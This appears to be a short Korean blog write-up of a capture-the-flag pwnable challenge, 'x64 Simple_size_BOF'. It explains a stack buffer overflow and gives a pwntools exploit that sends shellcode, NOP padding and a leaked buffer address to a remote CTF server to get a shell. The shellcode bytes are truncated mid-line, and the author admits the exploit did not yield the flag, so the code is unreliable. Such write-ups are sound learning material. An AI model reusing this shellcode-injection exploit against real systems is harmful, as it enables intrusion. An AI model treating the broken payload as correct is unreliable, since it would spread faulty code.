본문 바로가기

CTF/Pwnable

[Pwnable] x64 Simple_size_BOF | write up


> 보호기법 적용 확인

 

보호기법이 적용되지 않았다.

그러므로 셸코드를 작성하여 문제를 풀어보겠다.

 

 

> IDA 실행

 

3, 7번째 줄을 보면,
크기가 27952인 buf를 받는 것을 알 수 있다.

buf v4(27952) | rbp | ret

ret에 v4의 시작 주소를 넣어야하기 때문에,
payload = shellcode + dummy + v4 로 작성하면 된다.

 

 

> 익스플로잇

 

from pwn import *
context.log_level = "DEBUG"

p = remote('ctf.j0n9hyun.xyz ', 3005)

p.recvuntil("buf: ")

buf_addr = int(p.recv(14), 16)

shellcode = b'\x48\x31\xff\x48\x31\xf6\x48\x31\xd2\x48\x31\xc0\x50\x48\xbb\x2f\x6$

payload = shellcode
payload += b'\x90' * 27937
payload += p64(buf_addr)

p.sendline(payload)
p.interactive()

익스플로잇까지 작성하였는데 왜인지 flag 값을 구하지 못했다.